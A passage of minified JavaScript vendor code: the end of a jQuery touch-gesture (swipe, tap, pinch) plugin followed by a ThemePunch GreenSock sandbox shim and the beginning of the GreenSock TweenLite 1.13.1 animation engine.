z:aR.trigger("pinchOut",[aJ||null,aq||0,ab||0,W,G,aQ]);if(av.pinchOut){bc=av.pinchOut.call(aR,be,aJ||null,aq||0,ab||0,W,G,aQ)}break}}}if(bd==A){if(bb===q||bb===h){clearTimeout(aW);clearTimeout(af);if(Y()&&!H()){N=at();aW=setTimeout(f.proxy(function(){N=null;aR.trigger("tap",[be.target]);if(av.tap){bc=av.tap.call(aR,be,be.target)}},this),av.doubleTapThreshold)}else{N=null;aR.trigger("tap",[be.target]);if(av.tap){bc=av.tap.call(aR,be,be.target)}}}}else{if(bd==j){if(bb===q||bb===h){clearTimeout(aW);N=null;aR.trigger("doubletap",[be.target]);if(av.doubleTap){bc=av.doubleTap.call(aR,be,be.target)}}}else{if(bd==b){if(bb===q||bb===h){clearTimeout(aW);N=null;aR.trigger("longtap",[be.target]);if(av.longTap){bc=av.longTap.call(aR,be,be.target)}}}}}return bc}function an(){var bb=true;if(av.threshold!==null){bb=ag>=av.threshold}return bb}function ba(){var bb=false;if(av.cancelThreshold!==null&&aP!==null){bb=(aT(aP)-ag)>=av.cancelThreshold}return bb}function ae(){if(av.pinchThreshold!==null){return aq>=av.pinchThreshold}return true}function aA(){var bb;if(av.maxTimeThreshold){if(ab>=av.maxTimeThreshold){bb=false}else{bb=true}}else{bb=true}return bb}function al(bb,bc){if(av.allowPageScroll===m||aX()){bb.preventDefault()}else{var bd=av.allowPageScroll===s;switch(bc){case p:if((av.swipeLeft&&bd)||(!bd&&av.allowPageScroll!=D)){bb.preventDefault()}break;case o:if((av.swipeRight&&bd)||(!bd&&av.allowPageScroll!=D)){bb.preventDefault()}break;case e:if((av.swipeUp&&bd)||(!bd&&av.allowPageScroll!=u)){bb.preventDefault()}break;case x:if((av.swipeDown&&bd)||(!bd&&av.allowPageScroll!=u)){bb.preventDefault()}break}}}function a8(){var bc=aO();var bb=X();var bd=ae();return bc&&bb&&bd}function aX(){return !!(av.pinchStatus||av.pinchIn||av.pinchOut)}function P(){return !!(a8()&&aX())}function aV(){var be=aA();var bg=an();var bd=aO();var bb=X();var bc=ba();var bf=!bc&&bb&&bd&&bg&&be;return bf}function V(){return !!(av.swipe||av.swipeStatus||av.swipeLeft||av.swipeRight||av.swipeUp||av.swipeDown)}function I(){return !!(aV()&&V())}function aO(){return((W===av.fingers||av.fingers===i)||!a)}function X(){return aQ[0].end.x!==0}function a6(){return !!(av.tap)}function Y(){return !!(av.doubleTap)}function aU(){return !!(av.longTap)}function Q(){if(N==null){return false}var bb=at();return(Y()&&((bb-N)<=av.doubleTapThreshold))}function H(){return Q()}function ax(){return((W===1||!a)&&(isNaN(ag)||ag<av.threshold))}function a0(){return((ab>av.longTapThreshold)&&(ag<r))}function ah(){return !!(ax()&&a6())}function aG(){return !!(Q()&&Y())}function ap(){return !!(a0()&&aU())}function F(){a5=at();ad=event.touches.length+1}function R(){a5=0;ad=0}function am(){var bb=false;if(a5){var bc=at()-a5;if(bc<=av.fingerReleaseThreshold){bb=true}}return bb}function aB(){return !!(aR.data(B+"_intouch")===true)}function ao(bb){if(bb===true){aR.bind(ay,a3);aR.bind(U,L);if(S){aR.bind(S,K)}}else{aR.unbind(ay,a3,false);aR.unbind(U,L,false);if(S){aR.unbind(S,K,false)}}aR.data(B+"_intouch",bb===true)}function ai(bc,bb){var bd=bb.identifier!==undefined?bb.identifier:0;aQ[bc].identifier=bd;aQ[bc].start.x=aQ[bc].end.x=bb.pageX||bb.clientX;aQ[bc].start.y=aQ[bc].end.y=bb.pageY||bb.clientY;return aQ[bc]}function aH(bb){var bd=bb.identifier!==undefined?bb.identifier:0;var bc=ac(bd);bc.end.x=bb.pageX||bb.clientX;bc.end.y=bb.pageY||bb.clientY;return bc}function ac(bc){for(var bb=0;bb<aQ.length;bb++){if(aQ[bb].identifier==bc){return aQ[bb]}}}function aj(){var bb=[];for(var bc=0;bc<=5;bc++){bb.push({start:{x:0,y:0},end:{x:0,y:0},identifier:0})}return bb}function aI(bb,bc){bc=Math.max(bc,aT(bb));M[bb].distance=bc}function aT(bb){if(M[bb]){return M[bb].distance}return undefined}function aa(){var bb={};bb[p]=aw(p);bb[o]=aw(o);bb[e]=aw(e);bb[x]=aw(x);return bb}function aw(bb){return{direction:bb,distance:0}}function aM(){return a2-T}function au(be,bd){var bc=Math.abs(be.x-bd.x);var bb=Math.abs(be.y-bd.y);return Math.round(Math.sqrt(bc*bc+bb*bb))}function a7(bb,bc){var bd=(bc/bb)*1;return bd.toFixed(2)}function ar(){if(G<1){return z}else{return c}}function aS(bc,bb){return Math.round(Math.sqrt(Math.pow(bb.x-bc.x,2)+Math.pow(bb.y-bc.y,2)))}function aE(be,bc){var bb=be.x-bc.x;var bg=bc.y-be.y;var bd=Math.atan2(bg,bb);var bf=Math.round(bd*180/Math.PI);if(bf<0){bf=360-Math.abs(bf)}return bf}function aL(bc,bb){var bd=aE(bc,bb);if((bd<=45)&&(bd>=0)){return p}else{if((bd<=360)&&(bd>=315)){return p}else{if((bd>=135)&&(bd<=225)){return o}else{if((bd>45)&&(bd<135)){return x}else{return e}}}}}function at(){var bb=new Date();return bb.getTime()}function aY(bb){bb=f(bb);var bd=bb.offset();var bc={left:bd.left,right:bd.left+bb.outerWidth(),top:bd.top,bottom:bd.top+bb.outerHeight()};return bc}function E(bb,bc){return(bb.x>bc.left&&bb.x<bc.right&&bb.y>bc.top&&bb.y<bc.bottom)}}}));



if(typeof(console) === 'undefined') {
    var console = {}
    console.log = console.error = console.info = console.debug = console.warn = console.trace = console.dir = console.dirxml = console.group = console.groupEnd = console.time = console.timeEnd = console.assert = console.profile = console.groupCollapsed = function() {};
}

if (window.tplogs==true)
	try {
		console.groupCollapsed("ThemePunch GreenSocks Logs");
	} catch(e) { }


var oldgs = window.GreenSockGlobals;
	oldgs_queue = window._gsQueue;
	
var punchgs = window.GreenSockGlobals = {};

if (window.tplogs==true)
	try {
		console.info("Build GreenSock SandBox for ThemePunch Plugins");
		console.info("GreenSock TweenLite Engine Initalised by ThemePunch Plugin");
	} catch(e) {}

/*!
 * VERSION: 1.13.1
 * DATE: 2014-07-22
 * UPDATES AND DOCS AT: http://www.greensock.com
 *
 * @license Copyright (c) 2008-2014, GreenSock. All rights reserved.
 * This work is subject to the terms at http://www.greensock.com/terms_of_use.html or for
 * Club GreenSock members, the software agreement that was issued with your membership.
 * 
 * @author: Jack Doyle, jack@greensock.com
 */
(function(t,e){"use strict";var i=t.GreenSockGlobals=t.GreenSockGlobals||t;if(!i.TweenLite){var s,n,r,a,o,l=function(t){var e,s=t.split("."),n=i;for(e=0;s.length>e;e++)n[s[e]]=n=n[s[e]]||{};return n},h=l("com.greensock"),_=1e-10,u=function(t){var e,i=[],s=t.length;for(e=0;e!==s;i.push(t[e++]));return i},f=function(){},m=function(){var t=Object.prototype.toString,e=t.call([]);return function(i){return null!=i&&(i instanceof Array||"object"==typeof i&&!!i.push&&t.call(i)===e)}}(),p={},c=function(s,n,r,a){this.sc=p[s]?p[s].sc:[],p[s]=this,this.gsClass=null,this.func=r;var o=[];this.check=function(h){for(var _,u,f,m,d=n.length,v=d;--d>-1;)(_=p[n[d]]||new c(n[d],[])).gsClass?(o[d]=_.gsClass,v--):h&&_.sc.push(this);if(0===v&&r)for(u=("com.greensock."+s).split("."),f=u.pop(),m=l(u.join("."))[f]=this.gsClass=r.apply(r,o),a&&(i[f]=m,"function"==typeof define&&define.amd?define((t.GreenSockAMDPath?t.GreenSockAMDPath+"/":"")+s.split(".").pop(),[],function(){return m}):s===e&&"undefined"!=typeof module&&module.exports&&(module.exports=m)),d=0;this.sc.length>d;d++)this.sc[d].check()},this.check(!0)},d=t._gsDefine=function(t,e,i,s){return new c(t,e,i,s)},v=h._class=function(t,e,i){return e=e||function(){},d(t,[],function(){return e},i),e};d.globals=i;var g=[0,0,1,1],T=[],y=v("easing.Ease",function(t,e,i,s){this._func=t,this._type=i||0,this._power=s||0,this._params=e?g.concat(e):g},!0),w=y.map={},P=y.register=function(t,e,i,s){for(var n,r,a,o,l=e.split(","),_=l.length,u=(i||"easeIn,easeOut,easeInOut").split(",");--_>-1;)for(r=l[_],n=s?v("easing."+r,null,!0):h.easing[r]||{},a=u.length;--a>-1;)o=u[a],w[r+"."+o]=w[o+r]=n[o]=t.getRatio?t:t[o]||new t};for(r=y.prototype,r._calcEnd=!1,r.getRatio=function(t){if(this._func)return this._params[0]=t,this._func.apply(null,this._params);var e=this._type,i=this._power,s=1===e?1-t:2===e?t:.5>t?2*t:2*(1-t);return 1===i?s*=s:2===i?s*=s*s:3===i?s*=s*s*s:4===i&&(s*=s*s*s*s),1===e?1-s:2===e?s:.5>t?s/2:1-s/2},s=["Linear","Quad","Cubic","Quart","Quint,Strong"],n=s.length;--n>-1;)r=s[n]+",Power"+n,P(new y(null,null,1,n),r,"easeOut",!0),P(new y(null,null,2,n),r,"easeIn"+(0===n?",easeNone":"")),P(new y(null,null,3,n),r,"easeInOut");w.linear=h.easing.Linear.easeIn,w.swing=h.easing.Quad.easeInOut;var b=v("events.EventDispatcher",function(t){this._listeners={},this._eventTarget=t||this});r=b.prototype,r.addEventListener=function(t,e,i,s,n){n=n||0;var r,l,h=this._listeners[t],_=0;for(null==h&&(this._listeners[t]=h=[]),l=h.length;--l>-1;)r=h[l],r.c===e&&r.s===i?h.splice(l,1):0===_&&n>r.pr&&(_=l+1);h.splice(_,0,{c:e,s:i,up:s,pr:n}),this!==a||o||a.wake()},r.removeEventListener=function(t,e){var i,s=this._listeners[t];if(s)for(i=s.length;--i>-1;)if(s[i].c===e)return s.splice(i,1),void 0},r.dispatchEvent=function(t){var e,i,s,n=this._listeners[t];if(n)for(e=n.length,i=this._eventTarget;--e>-1;)s=n[e],s.up?s.c.call(s.s||i,{type:t,target:i}):s.c.call(s.s||i)};var k=t.requestAnimationFrame,A=t.cancelAnimationFrame,S=Date.now||function(){return(new Date).getTime()},x=S();for(s=["ms","moz","webkit","o"],n=s.length;--n>-1&&!k;)k=t[s[n]+"RequestAnimationFrame"],A=t[s[n]+"CancelAnimationFrame"]||t[s[n]+"CancelRequestAnimationFrame"];v("Ticker",function(t,e){var i,s,n,r,l,h=this,u=S(),m=e!==!1&&k,p=500,c=33,d=function(t){var e,a,o=S()-x;o>p&&(u+=o-c),x+=o,h.time=(x-u)/1e3,e=h.time-l,(!i||e>0||t===!0)&&(h.frame++,l+=e+(e>=r?.004:r-e),a=!0),t!==!0&&(n=s(d)),a&&h.dispatchEvent("tick")};b.call(h),h.time=h.frame=0,h.tick=function(){d(!0)},h.lagSmoothing=function(t,e){p=t||1/_,c=Math.min(e,p,0)},h.sleep=function(){null!=n&&(m&&A?A(n):clearTimeout(n),s=f,n=null,h===a&&(o=!1))},h.wake=function(){null!==n?h.sleep():h.frame>10&&(x=S()-p+5),s=0===i?f:m&&k?k:function(t){return setTimeout(t,0|1e3*(l-h.time)+1)},h===a&&(o=!0),d(2)},h.fps=function(t){return arguments.length?(i=t,r=1/(i||60),l=this.time+r,h.wake(),void 0):i},h.useRAF=function(t){return arguments.length?(h.sleep(),m=t,h.fps(i),void 0):m},h.fps(t),setTimeout(function(){m&&(!n||5>h.frame)&&h.useRAF(!1)},1500)}),r=h.Ticker.prototype=new h.events.EventDispatcher,r.constructor=h.Ticker;var C=v("core.Animation",function(t,e){if(this.vars=e=e||{},this._duration=this._totalDuration=t||0,this._delay=Number(e.delay)||0,this._timeScale=1,this._active=e.immediateRender===!0,this.data=e.data,this._reversed=e.reversed===!0,B){o||a.wake();var i=this.vars.useFrames?q:B;i.add(this,i._time),this.vars.paused&&this.paused(!0)}});a=C.ticker=new h.Ticker,r=C.prototype,r._dirty=r._gc=r._initted=r._paused=!1,r._totalTime=r._time=0,r._rawPrevTime=-1,r._next=r._last=r._onUpdate=r._timeline=r.timeline=null,r._paused=!1;var R=function(){o&&S()-x>2e3&&a.wake(),setTimeout(R,2e3)};R(),r.play=function(t,e){return null!=t&&this.seek(t,e),this.reversed(!1).paused(!1)},r.pause=function(t,e){return null!=t&&this.seek(t,e),this.paused(!0)},r.resume=function(t,e){return null!=t&&this.seek(t,e),this.paused(!1)},r.seek=function(t,e){return this.totalTime(Number(t),e!==!1)},r.restart=function(t,e){return this.reversed(!1).paused(!1).totalTime(t?-this._delay:0,e!==!1,!0)},r.reverse=function(t,e){return null!=t&&this.seek(t||this.totalDuration(),e),this.reversed(!0).paused(!1)},r.render=function(){},r.invalidate=function(){return this},r.isActive=function(){var t,e=this._timeline,i=this._startTime;return!e||!this._gc&&!this._paused&&e.isActive()&&(t=e.rawTime())>=i&&i+this.totalDuration()/this._timeScale>t},r._enabled=function(t,e){return o||a.wake(),this._gc=!t,this._active=this.isActive(),e!==!0&&(t&&!this.timeline?this._timeline.add(this,this._startTime-this._delay):!t&&this.timeline&&this._timeline._remove(this,!0)),!1},r._kill=function(){return this._enabled(!1,!1)},r.kill=function(t,e){return this._kill(t,e),this},r._uncache=function(t){for(var e=t?this:this.timeline;e;)e._dirty=!0,e=e.timeline;return this},r._swapSelfInParams=function(t){for(var e=t.length,i=t.concat();--e>-1;)"{self}"===t[e]&&(i[e]=this);return i},r.eventCallback=function(t,e,i,s){if("on"===(t||"").substr(0,2)){var n=this.vars;if(1===arguments.length)return n[t];null==e?delete n[t]:(n[t]=e,n[t+"Params"]=m(i)&&-1!==i.join("").indexOf("{self}")?this._swapSelfInParams(i):i,n[t+"Scope"]=s),"onUpdate"===t&&(this._onUpdate=e)}return this},r.delay=function(t){return arguments.length?(this._timeline.smoothChildTiming&&this.startTime(this._startTime+t-this._delay),this._delay=t,this):this._delay},r.duration=function(t){return arguments.length?(this._duration=this._totalDuration=t,this._uncache(!0),this._timeline.smoothChildTiming&&this._time>0&&this._time<this._duration&&0!==t&&this.totalTime(this._totalTime*(t/this._duration),!0),this):(this._dirty=!1,this._duration)},r.totalDuration=function(t){return this._dirty=!1,arguments.length?this.duration(t):this._totalDuration},r.time=function(t,e){return arguments.length?(this._dirty&&this.totalDuration(),this.totalTime(t>this._duration?this._duration:t,e)):this._time},r.totalTime=function(t,e,i){if(o||a.wake(),!arguments.length)return this._totalTime;if(this._timeline){if(0>t&&!i&&(t+=this.totalDuration()),this._timeline.smoothChildTiming){this._dirty&&this.totalDuration();var s=this._totalDuration,n=this._timeline;if(t>s&&!i&&(t=s),this._startTime=(this._paused?this._pauseTime:n._time)-(this._reversed?s-t:t)/this._timeScale,n._dirty||this._uncache(!1),n._timeline)for(;n._timeline;)n._timeline._time!==(n._startTime+n._totalTime)/n._timeScale&&n.totalTime(n._totalTime,!0),n=n._timeline}this._gc&&this._enabled(!0,!1),(this._totalTime!==t||0===this._duration)&&(this.render(t,e,!1),O.length&&M())}return this},r.progress=r.totalProgress=function(t,e){return arguments.length?this.totalTime(this.duration()*t,e):this._time/this.duration()},r.startTime=function(t){return arguments.length?(t!==this._startTime&&(this._startTime=t,this.timeline&&this.timeline._sortChildren&&this.timeline.add(this,t-this._delay)),this):this._startTime},r.timeScale=function(t){if(!arguments.length)return this._timeScale;if(t=t||_,this._timeline&&this._timeline.smoothChildTiming){var e=this._pauseTime,i=e||0===e?e:this._timeline.totalTime();this._startTime=i-(i-this._startTime)*this._timeScale/t}return this._timeScale=t,this._uncache(!1)},r.reversed=function(t){return arguments.length?(t!=this._reversed&&(this._reversed=t,this.totalTime(this._timeline&&!this._timeline.smoothChildTiming?this.totalDuration()-this._totalTime:this._totalTime,!0)),this):this._reversed},r.paused=function(t){if(!arguments.length)return this._paused;if(t!=this._paused&&this._timeline){o||t||a.wake();var e=this._timeline,i=e.rawTime(),s=i-this._pauseTime;!t&&e.smoothChildTiming&&(this._startTime+=s,this._uncache(!1)),this._pauseTime=t?i:null,this._paused=t,this._active=this.isActive(),!t&&0!==s&&this._initted&&this.duration()&&this.render(e.smoothChildTiming?this._totalTime:(i-this._startTime)/this._timeScale,!0,!0)}return this._gc&&!t&&this._enabled(!0,!1),this};var D=v("core.SimpleTimeline",function(t){C.call(this,0,t),this.autoRemoveChildren=this.smoothChildTiming=!0});r=D.prototype=new C,r.constructor=D,r.kill()._gc=!1,r._first=r._last=null,r._sortChildren=!1,r.add=r.insert=function(t,e){var i,s;if(t._startTime=Number(e||0)+t._delay,t._paused&&this!==t._timeline&&(t._pauseTime=t._startTime+(this.rawTime()-t._startTime)/t._timeScale),t.timeline&&t.timeline._remove(t,!0),t.timeline=t._timeline=this,t._gc&&t._enabled(!0,!0),i=this._last,this._sortChildren)for(s=t._startTime;i&&i._startTime>s;)i=i._prev;return i?(t._next=i._next,i._next=t):(t._next=this._first,this._first=t),t._next?t._next._prev=t:this._last=t,t._prev=i,this._timeline&&this._uncache(!0),this},r._remove=function(t,e){return t.timeline===this&&(e||t._enabled(!1,!0),t._prev?t._prev._next=t._next:this._first===t&&(this._first=t._next),t._next?t._next._prev=t._prev:this._last===t&&(this._last=t._prev),t._next=t._prev=t.timeline=null,this._timeline&&this._uncache(!0)),this},r.render=function(t,e,i){var s,n=this._first;for(this._totalTime=this._time=this._rawPrevTime=t;n;)s=n._next,(n._active||t>=n._startTime&&!n._paused)&&(n._reversed?n.render((n._dirty?n.totalDuration():n._totalDuration)-(t-n._startTime)*n._timeScale,e,i):n.render((t-n._startTime)*n._timeScale,e,i)),n=s},r.rawTime=function(){return o||a.wake(),this._totalTime};var I=v("TweenLite",function(e,i,s){if(C.call(this,i,s),this.render=I.prototype.render,null==e)throw"Cannot tween a null target.";this.target=e="string"!=typeof e?e:I.selector(e)||e;var n,r,a,o=e.jquery||e.length&&e!==t&&e[0]&&(e[0]===t||e[0].nodeType&&e[0].style&&!e.nodeType),l=this.vars.overwrite;if(this._overwrite=l=null==l?Q[I.defaultOverwrite]:"number"==typeof l?l>>0:Q[l],(o||e instanceof Array||e.push&&m(e))&&"number"!=typeof e[0])for(this._targets=a=u(e),this._propLookup=[],this._siblings=[],n=0;a.length>n;n++)r=a[n],r?"string"!=typeof r?r.length&&r!==t&&r[0]&&(r[0]===t||r[0].nodeType&&r[0].style&&!r.nodeType)?(a.splice(n--,1),this._targets=a=a.concat(u(r))):(this._siblings[n]=$(r,this,!1),1===l&&this._siblings[n].length>1&&K(r,this,null,1,this._siblings[n])):(r=a[n--]=I.selector(r),"string"==typeof r&&a.splice(n+1,1)):a.splice(n--,1);else this._propLookup={},this._siblings=$(e,this,!1),1===l&&this._siblings.length>1&&K(e,this,null,1,this._siblings);(this.vars.immediateRender||0===i&&0===this._delay&&this.vars.immediateRender!==!1)&&(this._time=-_,this.render(-this._delay))},!0),E=function(e){return e.length&&e!==t&&e[0]&&(e[0]===t||e[0].nodeType&&e[0].style&&!e.nodeType)},z=function(t,e){var i,s={};for(i in t)G[i]||i in e&&"transform"!==i&&"x"!==i&&"y"!==i&&"width"!==i&&"height"!==i&&"className"!==i&&"border"!==i||!(!U[i]||U[i]&&U[i]._autoCSS)||(s[i]=t[i],delete t[i]);t.css=s};r=I.prototype=new C,r.constructor=I,r.kill()._gc=!1,r.ratio=0,r._firstPT=r._targets=r._overwrittenProps=r._startAt=null,r._notifyPluginsOfEnabled=r._lazy=!1,I.version="1.13.1",I.defaultEase=r._ease=new y(null,null,1,1),I.defaultOverwrite="auto",I.ticker=a,I.autoSleep=!0,I.lagSmoothing=function(t,e){a.lagSmoothing(t,e)},I.selector=t.$||t.jQuery||function(e){var i=t.$||t.jQuery;return i?(I.selector=i,i(e)):"undefined"==typeof document?e:document.querySelectorAll?document.querySelectorAll(e):document.getElementById("#"===e.charAt(0)?e.substr(1):e)};var O=[],L={},N=I._internals={isArray:m,isSelector:E,lazyTweens:O},U=I._plugins={},F=N.tweenLookup={},j=0,G=N.reservedProps={ease:1,delay:1,overwrite:1,onComplete:1,onCompleteParams:1,onCompleteScope:1,useFrames:1,runBackwards:1,startAt:1,onUpdate:1,onUpdateParams:1,onUpdateScope:1,onStart:1,onStartParams:1,onStartScope:1,onReverseComplete:1,onReverseCompleteParams:1,onReverseCompleteScope:1,onRepeat:1,onRepeatParams:1,onRepeatScope:1,easeParams:1,yoyo:1,immediateRender:1,repeat:1,repeatDelay:1,data:1,paused:1,reversed:1,autoCSS:1,lazy:1},Q={none:0,all:1,auto:2,concurrent:3,allOnStart:4,preexisting:5,"true":1,"false":0},q=C._rootFramesTimeline=new D,B=C._rootTimeline=new D,M=N.lazyRender=function(){var t=O.length;for(L={};--t>-1;)s=O[t],s&&s._lazy!==!1&&(s.render(s._lazy,!1,!0),s._lazy=!1);O.length=0};B._startTime=a.time,q._startTime=a.frame,B._active=q._active=!0,setTimeout(M,1),C._updateRoot=I.render=function(){var t,e,i;if(O.length&&M(),B.render((a.time-B._startTime)*B._timeScale,!1,!1),q.render((a.frame-q._startTime)*q._timeScale,!1,!1),O.length&&M(),!(a.frame%120)){for(i in F){for(e=F[i].tweens,t=e.length;--t>-1;)e[t]._gc&&e.splice(t,1);0===e.length&&delete F[i]}if(i=B._first,(!i||i._paused)&&I.autoSleep&&!q._first&&1===a._listeners.tick.length){for(;i&&i._paused;)i=i._next;i||a.sleep()}}},a.addEventListener("tick",C._updateRoot);var $=function(t,e,i){var s,n,r=t._gsTweenID;if(F[r||(t._gsTweenID=r="t"+j++)]||(F[r]={target:t,tweens:[]}),e&&(s=F[r].tweens,s[n=s.length]=e,i))for(;--n>-1;)s[n]===e&&s.splice(n,1);return F[r].tweens},K=function(t,e,i,s,n){var r,a,o,l;if(1===s||s>=4){for(l=n.length,r=0;l>r;r++)if((o=n[r])!==e)o._gc||o._enabled(!1,!1)&&(a=!0);else if(5===s)break;return a}var h,u=e._startTime+_,f=[],m=0,p=0===e._duration;for(r=n.length;--r>-1;)(o=n[r])===e||o._gc||o._paused||(o._timeline!==e._timeline?(h=h||H(e,0,p),0===H(o,h,p)&&(f[m++]=o)):u>=o._startTime&&o._startTime+o.totalDuration()/o._timeScale>u&&((p||!o._initted)&&2e-10>=u-o._startTime||(f[m++]=o)));for(r=m;--r>-1;)o=f[r],2===s&&o._kill(i,t)&&(a=!0),(2!==s||!o._firstPT&&o._initted)&&o._enabled(!1,!1)&&(a=!0);return a},H=function(t,e,i){for(var s=t._timeline,n=s._timeScale,r=t._startTime;s._timeline;){if(r+=s._startTime,n*=s._timeScale,s._paused)return-100;s=s._timeline}return r/=n,r>e?r-e:i&&r===e||!t._initted&&2*_>r-e?_:(r+=t.totalDuration()/t._timeScale/n)>e+_?0:r-e-_};r._init=function(){var t,e,i,s,n,r=this.vars,a=this._overwrittenProps,o=this._duration,l=!!r.immediateRender,h=r.ease;if(r.startAt){this._startAt&&(this._startAt.render(-1,!0),this._startAt.kill()),n={};for(s in r.startAt)n[s]=r.startAt[s];if(n.overwrite=!1,n.immediateRender=!0,n.lazy=l&&r.lazy!==!1,n.startAt=n.delay=null,this._startAt=I.to(this.target,0,n),l)if(this._time>0)this._startAt=null;else if(0!==o)return}else if(r.runBackwards&&0!==o)if(this._startAt)this._startAt.render(-1,!0),this._startAt.kill(),this._startAt=null;else{i={};for(s in r)G[s]&&"autoCSS"!==s||(i[s]=r[s]);if(i.overwrite=0,i.data="isFromStart",i.lazy=l&&r.lazy!==!1,i.immediateRender=l,this._startAt=I.to(this.target,0,i),l){if(0===this._time)return}else this._startAt._init(),this._startAt._enabled(!1)}if(this._ease=h=h?h instanceof y?h:"function"==typeof h?new y(h,r.easeParams):w[h]||I.defaultEase:I.defaultEase,r.easeParams instanceof Array&&h.config&&(this._ease=h.config.apply(h,r.easeParams)),this._easeType=this._ease._type,this._easePower=this._ease._power,this._firstPT=null,this._targets)for(t=this._targets.length;--t>-1;)this._initProps(this._targets[t],this._propLookup[t]={},this._siblings[t],a?a[t]:null)&&(e=!0);else e=this._initProps(this.target,this._propLookup,this._siblings,a);if(e&&I._onPluginEvent("_onInitAllProps",this),a&&(this._firstPT||"function"!=typeof this.target&&this._enabled(!1,!1)),r.runBackwards)for(i=this._firstPT;i;)i.s+=i.c,i.c=-i.c,i=i._next;this._onUpdate=r.onUpdate,this._initted=!0},r._initProps=function(e,i,s,n){var r,a,o,l,h,_;if(null==e)return!1;L[e._gsTweenID]&&M(),this.vars.css||e.style&&e!==t&&e.nodeType&&U.css&&this.vars.autoCSS!==!1&&z(this.vars,e);for(r in this.vars){if(_=this.vars[r],G[r])_&&(_ instanceof Array||_.push&&m(_))&&-1!==_.join("").indexOf("{self}")&&(this.vars[r]=_=this._swapSelfInParams(_,this));else if(U[r]&&(l=new U[r])._onInitTween(e,this.vars[r],this)){for(this._firstPT=h={_next:this._firstPT,t:l,p:"setRatio",s:0,c:1,f:!0,n:r,pg:!0,pr:l._priority},a=l._overwriteProps.length;--a>-1;)i[l._overwriteProps[a]]=this._firstPT;(l._priority||l._onInitAllProps)&&(o=!0),(l._onDisable||l._onEnable)&&(this._notifyPluginsOfEnabled=!0)}else this._firstPT=i[r]=h={_next:this._firstPT,t:e,p:r,f:"function"==typeof e[r],n:r,pg:!1,pr:0},h.s=h.f?e[r.indexOf("set")||"function"!=typeof e["get"+r.substr(3)]?r:"get"+r.substr(3)]():parseFloat(e[r]),h.c="string"==typeof _&&"="===_.charAt(1)?parseInt(_.charAt(0)+"1",10)*Number(_.substr(2)):Number(_)-h.s||0;h&&h._next&&(h._next._prev=h)}return n&&this._kill(n,e)?this._initProps(e,i,s,n):this._overwrite>1&&this._firstPT&&s.length>1&&K(e,this,i,this._overwrite,s)?(this._kill(i,e),this._initProps(e,i,s,n)):(this._firstPT&&(this.vars.lazy!==!1&&this._duration||this.vars.lazy&&!this._duration)&&(L[e._gsTweenID]=!0),o)},r.render=function(t,e,i){var s,n,r,a,o=this._time,l=this._duration,h=this._rawPrevTime;if(t>=l)this._totalTime=this._time=l,this.ratio=this._ease._calcEnd?this._ease.getRatio(1):1,this._reversed||(s=!0,n="onComplete"),0===l&&(this._initted||!this.vars.lazy||i)&&(this._startTime===this._timeline._duration&&(t=0),(0===t||0>h||h===_)&&h!==t&&(i=!0,h>_&&(n="onReverseComplete")),this._rawPrevTime=a=!e||t||h===t?t:_);else if(1e-7>t)this._totalTime=this._time=0,this.ratio=this._ease._calcEnd?this._ease.getRatio(0):0,(0!==o||0===l&&h>0&&h!==_)&&(n="onReverseComplete",s=this._reversed),0>t?(this._active=!1,0===l&&(this._initted||!this.vars.lazy||i)&&(h>=0&&(i=!0),this._rawPrevTime=a=!e||t||h===t?t:_)):this._initted||(i=!0);else if(this._totalTime=this._time=t,this._easeType){var u=t/l,f=this._easeType,m=this._easePower;(1===f||3===f&&u>=.5)&&(u=1-u),3===f&&(u*=2),1===m?u*=u:2===m?u*=u*u:3===m?u*=u*u*u:4===m&&(u*=u*u*u*u),this.ratio=1===f?1-u:2===f?u:.5>t/l?u/2:1-u/2}else this.ratio=this._ease.getRatio(t/l);if(this._time!==o||i){if(!this._initted){if(this._init(),!this._initted||this._gc)return;if(!i&&this._firstPT&&(this.vars.lazy!==!1&&this._duration||this.vars.lazy&&!this._duration))return this._time=this._totalTime=o,this._rawPrevTime=h,O.push(this),this._lazy=t,void 0;this._time&&!s?this.ratio=this._ease.getRatio(this._time/l):s&&this._ease._calcEnd&&(this.ratio=this._ease.getRatio(0===this._time?0:1))}for(this._lazy!==!1&&(this._lazy=!1),this._active||!this._paused&&this._time!==o&&t>=0&&(this._active=!0),0===o&&(this._startAt&&(t>=0?this._startAt.render(t,e,i):n||(n="_dummyGS")),this.vars.onStart&&(0!==this._time||0===l)&&(e||this.vars.onStart.apply(this.vars.onStartScope||this,this.vars.onStartParams||T))),r=this._firstPT;r;)r.f?r.t[r.p](r.c*this.ratio+r.s):r.t[r.p]=r.c*this.ratio+r.s,r=r._next;this._onUpdate&&(0>t&&this._startAt&&this._startTime&&this._startAt.render(t,e,i),e||(this._time!==o||s)&&this._onUpdate.apply(this.vars.onUpdateScope||this,this.vars.onUpdateParams||T)),n&&(!this._gc||i)&&(0>t&&this._startAt&&!this._onUpdate&&this._startTime&&this._startAt.render(t,e,i),s&&(this._timeline.autoRemoveChildren&&this._enabled(!1,!1),this._active=!1),!e&&this.vars[n]&&this.vars[n].apply(this.vars[n+"Scope"]||this,this.vars[n+"Params"]||T),0===l&&this._rawPrevTime===_&&a!==_&&(this._rawPrevTime=0))}},r._kill=function(t,e){if("all"===t&&(t=null),null==t&&(null==e||e===this.target))return this._lazy=!1,this._enabled(!1,!1);e="string"!=typeof e?e||this._targets||this.target:I.selector(e)||e;var i,s,n,r,a,o,l,h;if((m(e)||E(e))&&"number"!=typeof e[0])for(i=e.length;--i>-1;)this._kill(t,e[i])&&(o=!0);else{if(this._targets){for(i=this._targets.length;--i>-1;)if(e===this._targets[i]){a=this._propLookup[i]||{},this._overwrittenProps=this._overwrittenProps||[],s=this._overwrittenProps[i]=t?this._overwrittenProps[i]||{}:"all";break}}else{if(e!==this.target)return!1;a=this._propLookup,s=this._overwrittenProps=t?this._overwrittenProps||{}:"all"}if(a){l=t||a,h=t!==s&&"all"!==s&&t!==a&&("object"!=typeof t||!t._tempKill);for(n in l)(r=a[n])&&(r.pg&&r.t._kill(l)&&(o=!0),r.pg&&0!==r.t._overwriteProps.length||(r._prev?r._prev._next=r._next:r===this._firstPT&&(this._firstPT=r._next),r._next&&(r._next._prev=r._prev),r._next=r._prev=null),delete a[n]),h&&(s[n]=1);!this._firstPT&&this._initted&&this._enabled(!1,!1)}}return o},r.invalidate=function(){return this._notifyPluginsOfEnabled&&I._onPluginEvent("_onDisable",this),this._firstPT=null,this._overwrittenProps=null,this._onUpdate=null,this._startAt=null,this._initted=this._active=this._notifyPluginsOfEnabled=this._lazy=!1,this._propLookup=this._targets?{}:[],this},r._enabled=function(t,e){if(o||a.wake(),t&&this._gc){var 